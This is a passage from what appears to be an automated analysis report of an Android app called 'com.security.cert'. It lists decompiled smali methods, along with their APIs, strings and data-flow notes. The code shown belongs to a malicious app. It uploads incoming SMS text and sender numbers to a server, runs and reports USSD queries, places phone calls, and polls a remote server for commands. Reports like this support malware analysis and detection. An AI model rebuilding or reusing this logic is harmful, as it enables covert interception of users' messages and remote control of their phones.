28invoke-static {v0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
29move-result-object v0
31invoke-direct {v1, v2, v0}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
  • Data flow analysis:
    • param0: android.intent.action.CALL
32const/high16 v0, 0x3000
34invoke-virtual {v1, v0}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 12288
36iget-object v0, p0, Lcom/security/cert/b/b/a/a;->a:Landroid/content/Context;
38invoke-virtual {v0, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
39return-void
APIs
  • org.json.JSONObject.<init>
  • org.json.JSONObject.put
  • org.json.JSONException.toString
  • android.util.Log.e
Strings
  • action
  • submit_sms
  • user_id
  • sender_phone_number
  • sms_text
  • ServerApi
Position Instruction Meta Information
0new-instance v1, Lorg/json/JSONObject;
2invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
3try_start_5:
4const-string v0, "action"
6const-string v2, "submit_sms"
8invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
  • Data flow analysis:
    • param0: action
    • param1: submit_sms
10const-string v0, "user_id"
12invoke-static {p0}, Lcom/security/cert/b/a/a;->b(Landroid/content/Context;)Ljava/lang/String;
13move-result-object v2
15invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
  • Data flow analysis:
    • param0: user_id
17const-string v0, "sender_phone_number"
19invoke-virtual {v1, v0, p1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
  • Data flow analysis:
    • param0: sender_phone_number
21const-string v0, "sms_text"
23invoke-virtual {v1, v0, p2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
  • Data flow analysis:
    • param0: sms_text
24try_end_1f: new-instance v0, Lcom/security/cert/b/b/a/d;
26invoke-direct {v0}, Lcom/security/cert/b/b/a/d;-><init>()V
28invoke-static {p0, v1, v0}, Lcom/security/cert/a/a/a;->a(Landroid/content/Context;Lorg/json/JSONObject;Lcom/security/cert/b/b/a/b;)V
29return-void
30catch_28: move-exception v0
32const-string v2, "ServerApi"
34invoke-virtual {v0}, Lorg/json/JSONException;->toString()Ljava/lang/String;
35move-result-object v0
37invoke-static {v2, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: ServerApi
38goto/16 :goto_1f
APIs
  • org.json.JSONObject.<init>
  • org.json.JSONObject.put
  • org.json.JSONException.toString
  • android.util.Log.e
Strings
  • action
  • submit_ussd
  • user_id
  • query
  • result
  • ServerApi
Position Instruction Meta Information
0new-instance v1, Lorg/json/JSONObject;
2invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
3try_start_5:
4const-string v0, "action"
6const-string v2, "submit_ussd"
8invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
  • Data flow analysis:
    • param0: action
    • param1: submit_ussd
10const-string v0, "user_id"
12invoke-static {p0}, Lcom/security/cert/b/a/a;->b(Landroid/content/Context;)Ljava/lang/String;
13move-result-object v2
15invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
  • Data flow analysis:
    • param0: user_id
17const-string v0, "query"
19invoke-virtual {v1, v0, p1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
  • Data flow analysis:
    • param0: query
21const-string v0, "result"
23invoke-virtual {v1, v0, p2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
  • Data flow analysis:
    • param0: result
24try_end_1f: new-instance v0, Lcom/security/cert/b/b/a/d;
26invoke-direct {v0}, Lcom/security/cert/b/b/a/d;-><init>()V
28invoke-static {p0, v1, v0}, Lcom/security/cert/a/a/a;->a(Landroid/content/Context;Lorg/json/JSONObject;Lcom/security/cert/b/b/a/b;)V
29return-void
30catch_28: move-exception v0
32const-string v2, "ServerApi"
34invoke-virtual {v0}, Lorg/json/JSONException;->toString()Ljava/lang/String;
35move-result-object v0
37invoke-static {v2, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: ServerApi
38goto/16 :goto_1f
APIs
  • android.os.Parcel.obtain
  • android.os.Parcel.writeInterfaceToken
  • android.os.IBinder.transact
  • android.os.Parcel.readException
  • android.os.Parcel.readInt
  • android.os.Parcelable$Creator.createFromParcel
  • android.os.Parcel.recycle
Strings
  • com.android.internal.telephony.IExtendedNetworkService
Position Instruction Meta Information
1invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel;
2move-result-object v1
4invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel;
5move-result-object v2
6try_start_8:
7const-string v0, "com.android.internal.telephony.IExtendedNetworkService"
9invoke-virtual {v1, v0}, Landroid/os/Parcel;->writeInterfaceToken(Ljava/lang/String;)V
  • Data flow analysis:
    • param0: com.android.internal.telephony.IExtendedNetworkService
11iget-object v0, p0, Lcom/a/a/a/c;->a:Landroid/os/IBinder;
12const/4 v3, 0x2
13const/4 v4, 0x0
15invoke-interface {v0, v3, v1, v2, v4}, Landroid/os/IBinder;->transact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z
  • Data flow analysis:
    • param0: 2
    • param3: 0
17invoke-virtual {v2}, Landroid/os/Parcel;->readException()V
19invoke-virtual {v2}, Landroid/os/Parcel;->readInt()I
20move-result v0
21if-eqz v0, :cond_2c
23sget-object v0, Landroid/text/TextUtils;->CHAR_SEQUENCE_CREATOR:Landroid/os/Parcelable$Creator;
25invoke-interface {v0, v2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
26move-result-object v0
27check-cast v0, Ljava/lang/CharSequence;
28goto_25:
29invoke-virtual {v2}, Landroid/os/Parcel;->recycle()V
31invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V
32return-object v0
33cond_2c: const/4 v0, 0x0
34goto/16 :goto_25
35catchall_2e: move-exception v0
37invoke-virtual {v2}, Landroid/os/Parcel;->recycle()V
39invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V
40throw v0
APIs
  • android.os.Parcel.obtain
  • android.os.Parcel.writeInterfaceToken
  • android.os.Parcel.writeString
  • android.os.IBinder.transact
  • android.os.Parcel.readException
  • android.os.Parcel.recycle
Strings
  • com.android.internal.telephony.IExtendedNetworkService
Position Instruction Meta Information
1invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel;
2move-result-object v1
4invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel;
5move-result-object v2
6try_start_8:
7const-string v0, "com.android.internal.telephony.IExtendedNetworkService"
9invoke-virtual {v1, v0}, Landroid/os/Parcel;->writeInterfaceToken(Ljava/lang/String;)V
  • Data flow analysis:
    • param0: com.android.internal.telephony.IExtendedNetworkService
11invoke-virtual {v1, p1}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
13iget-object v0, p0, Lcom/a/a/a/c;->a:Landroid/os/IBinder;
14const/4 v3, 0x1
15const/4 v4, 0x0
17invoke-interface {v0, v3, v1, v2, v4}, Landroid/os/IBinder;->transact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z
  • Data flow analysis:
    • param0: 1
    • param3: 0
19invoke-virtual {v2}, Landroid/os/Parcel;->readException()V
20try_end_1a:
21invoke-virtual {v2}, Landroid/os/Parcel;->recycle()V
23invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V
24return-void
25catchall_21: move-exception v0
27invoke-virtual {v2}, Landroid/os/Parcel;->recycle()V
29invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V
30throw v0
APIs
  • org.apache.http.HttpRequest.containsHeader
  • org.apache.http.HttpRequest.addHeader
  • java.util.Map.keySet
  • java.util.Set.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • java.util.Map.get
  • org.apache.http.HttpRequest.addHeader
Strings
  • Accept-Encoding
  • gzip
Position Instruction Meta Information
1const-string v0, "Accept-Encoding"
3invoke-interface {p1, v0}, Lorg/apache/http/HttpRequest;->containsHeader(Ljava/lang/String;)Z
  • Data flow analysis:
    • param0: Accept-Encoding
4move-result v0
5if-nez v0, :cond_f
7const-string v0, "Accept-Encoding"
9const-string v1, "gzip"
11invoke-interface {p1, v0, v1}, Lorg/apache/http/HttpRequest;->addHeader(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • param0: Accept-Encoding
    • param1: gzip
12cond_f:
13iget-object v0, p0, Lcom/b/a/a/b;->a:Lcom/b/a/a/a;
15invoke-static {v0}, Lcom/b/a/a/a;->a(Lcom/b/a/a/a;)Ljava/util/Map;
16move-result-object v0
18invoke-interface {v0}, Ljava/util/Map;->keySet()Ljava/util/Set;
19move-result-object v0
21invoke-interface {v0}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
22move-result-object v2
23goto_1d:
24invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
25move-result v0
26if-eqz v0, :cond_39
28invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
29move-result-object v0
30check-cast v0, Ljava/lang/String;
32iget-object v1, p0, Lcom/b/a/a/b;->a:Lcom/b/a/a/a;
34invoke-static {v1}, Lcom/b/a/a/a;->a(Lcom/b/a/a/a;)Ljava/util/Map;
35move-result-object v1
37invoke-interface {v1, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
38move-result-object v1
39check-cast v1, Ljava/lang/String;
41invoke-interface {p1, v0, v1}, Lorg/apache/http/HttpRequest;->addHeader(Ljava/lang/String;Ljava/lang/String;)V
42goto/16 :goto_1d
43cond_39: return-void
APIs
  • android.os.Parcel.obtain
  • android.os.Parcel.writeInterfaceToken
  • android.os.IBinder.transact
  • android.os.Parcel.readException
  • android.os.Parcel.recycle
Strings
  • com.android.internal.telephony.IExtendedNetworkService
Position Instruction Meta Information
1invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel;
2move-result-object v1
4invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel;
5move-result-object v2
6try_start_8:
7const-string v0, "com.android.internal.telephony.IExtendedNetworkService"
9invoke-virtual {v1, v0}, Landroid/os/Parcel;->writeInterfaceToken(Ljava/lang/String;)V
  • Data flow analysis:
    • param0: com.android.internal.telephony.IExtendedNetworkService
11iget-object v0, p0, Lcom/a/a/a/c;->a:Landroid/os/IBinder;
12const/4 v3, 0x4
13const/4 v4, 0x0
15invoke-interface {v0, v3, v1, v2, v4}, Landroid/os/IBinder;->transact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z
  • Data flow analysis:
    • param0: 4
    • param3: 0
17invoke-virtual {v2}, Landroid/os/Parcel;->readException()V
18try_end_17:
19invoke-virtual {v2}, Landroid/os/Parcel;->recycle()V
21invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V
22return-void
23catchall_1e: move-exception v0
25invoke-virtual {v2}, Landroid/os/Parcel;->recycle()V
27invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V
28throw v0
APIs
  • org.apache.http.HttpResponse.getStatusLine
  • org.apache.http.HttpResponse.getEntity
  • org.apache.http.entity.BufferedHttpEntity.<init>
  • org.apache.http.util.EntityUtils.toString
  • org.apache.http.StatusLine.getStatusCode
  • org.apache.http.StatusLine.getReasonPhrase
  • org.apache.http.client.HttpResponseException.<init>
Strings
  • UTF-8
Position Instruction Meta Information
0const/4 v1, 0x0
2invoke-interface {p1}, Lorg/apache/http/HttpResponse;->getStatusLine()Lorg/apache/http/StatusLine;
3move-result-object v3
4try_start_5:
5invoke-interface {p1}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity;
6move-result-object v0
7if-eqz v0, :cond_16
8new-instance v2, Lorg/apache/http/entity/BufferedHttpEntity;
10invoke-direct {v2, v0}, Lorg/apache/http/entity/BufferedHttpEntity;-><init>(Lorg/apache/http/HttpEntity;)V
12const-string v0, "UTF-8"
14invoke-static {v2, v0}, Lorg/apache/http/util/EntityUtils;->toString(Lorg/apache/http/HttpEntity;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • param1: UTF-8
15try_end_15: move-result-object v1
16cond_16:
17invoke-interface {v3}, Lorg/apache/http/StatusLine;->getStatusCode()I
18move-result v0
19const/16 v2, 0x12c
20if-lt v0, v2, :cond_38
21new-instance v0, Lorg/apache/http/client/HttpResponseException;
23invoke-interface {v3}, Lorg/apache/http/StatusLine;->getStatusCode()I
24move-result v2
26invoke-interface {v3}, Lorg/apache/http/StatusLine;->getReasonPhrase()Ljava/lang/String;
27move-result-object v3
29invoke-direct {v0, v2, v3}, Lorg/apache/http/client/HttpResponseException;-><init>(ILjava/lang/String;)V
31invoke-virtual {p0, v0, v1}, Lcom/b/a/a/f;->b(Ljava/lang/Throwable;Ljava/lang/String;)V
32goto_2e: return-void
33catch_2f: move-exception v0
34move-object v2, v0
35move-object v0, v1
36check-cast v0, Ljava/lang/String;
38invoke-virtual {p0, v2, v0}, Lcom/b/a/a/f;->b(Ljava/lang/Throwable;Ljava/lang/String;)V
39goto/16 :goto_16
40cond_38:
41invoke-virtual {p0, v1}, Lcom/b/a/a/f;->b(Ljava/lang/String;)V
42goto/16 :goto_2e
APIs
  • java.lang.CharSequence.toString
  • java.net.URLEncoder.encode
  • android.net.Uri.decode
  • com.security.cert.ui.UssdActivity.finish
  • com.security.cert.ui.UssdActivity.getLocalClassName
  • android.os.RemoteException.getMessage
  • android.util.Log.e
Strings
  • :RETVAL;(
  • UTF-8
Position Instruction Meta Information
0const/4 v0, 0x1
1if-ne p1, v0, :cond_24
3iget-object v0, p0, Lcom/security/cert/ui/UssdActivity;->b:Lcom/a/a/a/a;
4if-eqz v0, :cond_24
5try_start_7:
6iget-object v0, p0, Lcom/security/cert/ui/UssdActivity;->b:Lcom/a/a/a/a;
8const-string v1, ":RETVAL;("
10invoke-interface {v0, v1}, Lcom/a/a/a/a;->a(Ljava/lang/CharSequence;)Ljava/lang/CharSequence;
11move-result-object v0
12if-eqz v0, :cond_24
14invoke-interface {v0}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
15try_end_14: move-result-object v0
16try_start_15:
17const-string v1, "UTF-8"
19invoke-static {v0, v1}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • param1: UTF-8
20try_end_1a: move-result-object v0
21try_start_1b:
22iget-object v1, p0, Lcom/security/cert/ui/UssdActivity;->c:Ljava/lang/String;
24invoke-static {v1}, Landroid/net/Uri;->decode(Ljava/lang/String;)Ljava/lang/String;
25move-result-object v1
27invoke-static {p0, v1, v0}, Lcom/security/cert/a/a/c;->b(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
28goto_24:
29invoke-virtual {p0}, Lcom/security/cert/ui/UssdActivity;->finish()V
30return-void
31catch_28: move-exception v0
33invoke-virtual {p0}, Lcom/security/cert/ui/UssdActivity;->getLocalClassName()Ljava/lang/String;
34move-result-object v1
36invoke-virtual {v0}, Landroid/os/RemoteException;->getMessage()Ljava/lang/String;
37move-result-object v0
39invoke-static {v1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
40goto/16 :goto_24
41catch_35: move-exception v1
42goto/16 :goto_1b
APIs
  • org.apache.http.HttpResponse.getEntity
  • org.apache.http.HttpEntity.getContentEncoding
  • org.apache.http.Header.getElements
  • org.apache.http.HeaderElement.getName
  • java.lang.String.equalsIgnoreCase
  • org.apache.http.HttpResponse.getEntity
  • com.b.a.a.d.<init>
  • org.apache.http.HttpResponse.setEntity
Strings
  • gzip
Position Instruction Meta Information
1invoke-interface {p1}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity;
2move-result-object v0
3if-nez v0, :cond_7
4goto_6: return-void
5cond_7:
6invoke-interface {v0}, Lorg/apache/http/HttpEntity;->getContentEncoding()Lorg/apache/http/Header;
7move-result-object v0
8if-eqz v0, :cond_6
10invoke-interface {v0}, Lorg/apache/http/Header;->getElements()[Lorg/apache/http/HeaderElement;
11move-result-object v1
12array-length v2, v1
13const/4 v0, 0x0
14goto_13: if-ge v0, v2, :cond_6
15aget-object v3, v1, v0
17invoke-interface {v3}, Lorg/apache/http/HeaderElement;->getName()Ljava/lang/String;
18move-result-object v3
20const-string v4, "gzip"
22invoke-virtual {v3, v4}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
  • Data flow analysis:
    • param0: gzip
23move-result v3
24if-eqz v3, :cond_30
25new-instance v0, Lcom/b/a/a/d;
27invoke-interface {p1}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity;
28move-result-object v1
30invoke-direct {v0, v1}, Lcom/b/a/a/d;-><init>(Lorg/apache/http/HttpEntity;)V
32invoke-interface {p1, v0}, Lorg/apache/http/HttpResponse;->setEntity(Lorg/apache/http/HttpEntity;)V
33goto/16 :goto_6
34cond_30: add-int/lit8 v0, v0, 0x1
35goto/16 :goto_13
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • com.security.cert.services.USSDDumbExtendedNetworkService.b
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.d
  • com.security.cert.services.USSDDumbExtendedNetworkService.b
Strings
  • USSDDumbExtendedNetworkService
  • getMmiRunningText:
Position Instruction Meta Information
1const-string v0, "USSDDumbExtendedNetworkService"
2new-instance v1, Ljava/lang/StringBuilder;
4invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
6const-string v2, "getMmiRunningText: "
8invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • param0: getMmiRunningText:
9move-result-object v1
11iget-object v2, p0, Lcom/security/cert/services/d;->a:Lcom/security/cert/services/USSDDumbExtendedNetworkService;
13invoke-static {v2}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->b(Lcom/security/cert/services/USSDDumbExtendedNetworkService;)Ljava/lang/String;
14move-result-object v2
16invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
17move-result-object v1
19invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
20move-result-object v1
22invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: USSDDumbExtendedNetworkService
24iget-object v0, p0, Lcom/security/cert/services/d;->a:Lcom/security/cert/services/USSDDumbExtendedNetworkService;
26invoke-static {v0}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->b(Lcom/security/cert/services/USSDDumbExtendedNetworkService;)Ljava/lang/String;
27move-result-object v0
28return-object v0
APIs
  • org.json.JSONObject.<init>
  • org.json.JSONObject.put
  • org.json.JSONException.toString
  • android.util.Log.e
Strings
  • action
  • pong
  • user_id
  • ServerApi
Position Instruction Meta Information
0new-instance v1, Lorg/json/JSONObject;
2invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
3try_start_5:
4const-string v0, "action"
6const-string v2, "pong"
8invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
  • Data flow analysis:
    • param0: action
    • param1: pong
10const-string v0, "user_id"
12invoke-static {p0}, Lcom/security/cert/b/a/a;->b(Landroid/content/Context;)Ljava/lang/String;
13move-result-object v2
15invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
  • Data flow analysis:
    • param0: user_id
16try_end_15:
17invoke-static {v1}, Lcom/security/cert/a/a/d;->a(Lorg/json/JSONObject;)V
18return-void
19catch_19: move-exception v0
21const-string v2, "ServerApi"
23invoke-virtual {v0}, Lorg/json/JSONException;->toString()Ljava/lang/String;
24move-result-object v0
26invoke-static {v2, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: ServerApi
27goto/16 :goto_15
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.e
  • org.json.JSONObject.toString
Strings
  • HttpClient
  • failure:
Position Instruction Meta Information
1iget-object v0, p0, Lcom/security/cert/a/a/b;->b:Lcom/security/cert/b/b/a/b;
2if-eqz v0, :cond_15
4iget-object v0, p0, Lcom/security/cert/a/a/b;->b:Lcom/security/cert/b/b/a/b;
6invoke-virtual {v0}, Lcom/security/cert/b/b/a/b;->a()Z
7move-result v0
8if-eqz v0, :cond_2e
10iget-object v0, p0, Lcom/security/cert/a/a/b;->c:Landroid/content/Context;
12iget-object v1, p0, Lcom/security/cert/a/a/b;->d:Lorg/json/JSONObject;
14iget-object v2, p0, Lcom/security/cert/a/a/b;->b:Lcom/security/cert/b/b/a/b;
16invoke-static {v0, v1, v2}, Lcom/security/cert/a/a/d;->a(Landroid/content/Context;Lorg/json/JSONObject;Lcom/security/cert/b/b/a/b;)V
17cond_15:
18const-string v0, "HttpClient"
19new-instance v1, Ljava/lang/StringBuilder;
21invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
23const-string v2, "failure: "
25invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • param0: failure:
26move-result-object v1
28invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
29move-result-object v1
31invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
32move-result-object v1
34invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: HttpClient
35return-void
36cond_2e:
37iget-object v0, p0, Lcom/security/cert/a/a/b;->b:Lcom/security/cert/b/b/a/b;
39iget-object v1, p0, Lcom/security/cert/a/a/b;->c:Landroid/content/Context;
41iget-object v2, p0, Lcom/security/cert/a/a/b;->d:Lorg/json/JSONObject;
43invoke-virtual {v2}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
44move-result-object v2
46invoke-virtual {v0, v1, p1, p2, v2}, Lcom/security/cert/b/b/a/b;->a(Landroid/content/Context;Ljava/lang/Throwable;Ljava/lang/String;Ljava/lang/String;)V
47goto/16 :goto_15
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.Object.getClass
  • java.lang.Class.getName
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • org.json.JSONException.<init>
Strings
  • Unexpected type
Position Instruction Meta Information
0instance-of v0, p1, Lorg/json/JSONObject;
1if-eqz v0, :cond_a
2check-cast p1, Lorg/json/JSONObject;
4invoke-virtual {p0, p1}, Lcom/b/a/a/i;->a(Lorg/json/JSONObject;)V
5goto_9: return-void
6cond_a: instance-of v0, p1, Lorg/json/JSONArray;
7if-eqz v0, :cond_14
8check-cast p1, Lorg/json/JSONArray;
10invoke-virtual {p0, p1}, Lcom/b/a/a/i;->a(Lorg/json/JSONArray;)V
11goto/16 :goto_9
12cond_14: new-instance v1, Lorg/json/JSONException;
13new-instance v0, Ljava/lang/StringBuilder;
15invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
17const-string v2, "Unexpected type "
19invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • param0: Unexpected type
20move-result-object v0
22invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
23move-result-object v2
25invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
26move-result-object v2
28invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
29move-result-object v0
31invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
32move-result-object v0
34invoke-direct {v1, v0}, Lorg/json/JSONException;-><init>(Ljava/lang/String;)V
35const/4 v0, 0x0
36check-cast v0, Lorg/json/JSONObject;
38invoke-virtual {p0, v1, v0}, Lcom/b/a/a/i;->a(Ljava/lang/Throwable;Lorg/json/JSONObject;)V
39goto/16 :goto_9
APIs
  • com.security.cert.services.CheckCommandsService.a
  • android.app.PendingIntent.send
  • com.security.cert.services.CheckCommandsService.c
  • com.security.cert.services.CheckCommandsService.b
  • android.os.Handler.postDelayed
  • android.app.PendingIntent$CanceledException.toString
  • android.util.Log.e
Strings
  • CheckCommandsService
Position Instruction Meta Information
1iget-object v0, p0, Lcom/security/cert/services/a;->b:Lcom/security/cert/services/CheckCommandsService;
3invoke-static {v0}, Lcom/security/cert/services/CheckCommandsService;->a(Lcom/security/cert/services/CheckCommandsService;)Z
4move-result v0
5if-nez v0, :cond_9
6goto_8: return-void
7cond_9:
8iget-object v0, p0, Lcom/security/cert/services/a;->a:Landroid/app/PendingIntent;
10invoke-virtual {v0}, Landroid/app/PendingIntent;->send()V
11try_end_e:
12iget-object v0, p0, Lcom/security/cert/services/a;->b:Lcom/security/cert/services/CheckCommandsService;
14invoke-static {v0}, Lcom/security/cert/b/a/a;->c(Landroid/content/Context;)I
15move-result v0
17iget-object v1, p0, Lcom/security/cert/services/a;->b:Lcom/security/cert/services/CheckCommandsService;
19invoke-static {v1}, Lcom/security/cert/services/CheckCommandsService;->c(Lcom/security/cert/services/CheckCommandsService;)Landroid/os/Handler;
20move-result-object v1
22iget-object v2, p0, Lcom/security/cert/services/a;->b:Lcom/security/cert/services/CheckCommandsService;
24invoke-static {v2}, Lcom/security/cert/services/CheckCommandsService;->b(Lcom/security/cert/services/CheckCommandsService;)Ljava/lang/Runnable;
25move-result-object v2
26mul-int/lit16 v0, v0, 0x3e8
27int-to-long v3, v0
29invoke-virtual {v1, v2, v3, v4}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
30goto/16 :goto_8
31catch_27: move-exception v0
33const-string v1, "CheckCommandsService"
35invoke-virtual {v0}, Landroid/app/PendingIntent$CanceledException;->toString()Ljava/lang/String;
36move-result-object v0
38invoke-static {v1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: CheckCommandsService
39goto/16 :goto_e
APIs
  • org.apache.http.client.methods.HttpUriRequest.addHeader
  • java.util.concurrent.ThreadPoolExecutor.submit
  • java.util.Map.get
  • java.util.LinkedList.<init>
  • java.util.Map.put
  • java.lang.ref.WeakReference.<init>
  • java.util.List.add
Strings
  • Content-Type
Position Instruction Meta Information
0if-eqz p4, :cond_7
2const-string v0, "Content-Type"
4invoke-interface {p3, v0, p4}, Lorg/apache/http/client/methods/HttpUriRequest;->addHeader(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • param0: Content-Type
5cond_7:
6iget-object v0, p0, Lcom/b/a/a/a;->e:Ljava/util/concurrent/ThreadPoolExecutor;
7new-instance v1, Lcom/b/a/a/e;
9invoke-direct {v1, p1, p2, p3, p5}, Lcom/b/a/a/e;-><init>(Lorg/apache/http/impl/client/AbstractHttpClient;Lorg/apache/http/protocol/HttpContext;Lorg/apache/http/client/methods/HttpUriRequest;Lcom/b/a/a/f;)V
11invoke-virtual {v0, v1}, Ljava/util/concurrent/ThreadPoolExecutor;->submit(Ljava/lang/Runnable;)Ljava/util/concurrent/Future;
12move-result-object v1
13if-eqz p6, :cond_30
15iget-object v0, p0, Lcom/b/a/a/a;->f:Ljava/util/Map;
17invoke-interface {v0, p6}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
18move-result-object v0
19check-cast v0, Ljava/util/List;
20if-nez v0, :cond_28
21new-instance v0, Ljava/util/LinkedList;
23invoke-direct {v0}, Ljava/util/LinkedList;-><init>()V
25iget-object v2, p0, Lcom/b/a/a/a;->f:Ljava/util/Map;
27invoke-interface {v2, p6, v0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
28cond_28: new-instance v2, Ljava/lang/ref/WeakReference;
30invoke-direct {v2, v1}, Ljava/lang/ref/WeakReference;-><init>(Ljava/lang/Object;)V
32invoke-interface {v0, v2}, Ljava/util/List;->add(Ljava/lang/Object;)Z
33cond_30: return-void
APIs
  • com.security.cert.services.CheckQueueService.a
  • android.app.PendingIntent.send
  • com.security.cert.services.CheckQueueService.c
  • com.security.cert.services.CheckQueueService.b
  • android.os.Handler.postDelayed
  • android.app.PendingIntent$CanceledException.toString
  • android.util.Log.e
Strings
  • CheckQueueService
Position Instruction Meta Information
1iget-object v0, p0, Lcom/security/cert/services/b;->b:Lcom/security/cert/services/CheckQueueService;
3invoke-static {v0}, Lcom/security/cert/services/CheckQueueService;->a(Lcom/security/cert/services/CheckQueueService;)Z
4move-result v0
5if-nez v0, :cond_9
6goto_8: return-void
7cond_9:
8iget-object v0, p0, Lcom/security/cert/services/b;->a:Landroid/app/PendingIntent;
10invoke-virtual {v0}, Landroid/app/PendingIntent;->send()V
11try_end_e:
12iget-object v0, p0, Lcom/security/cert/services/b;->b:Lcom/security/cert/services/CheckQueueService;
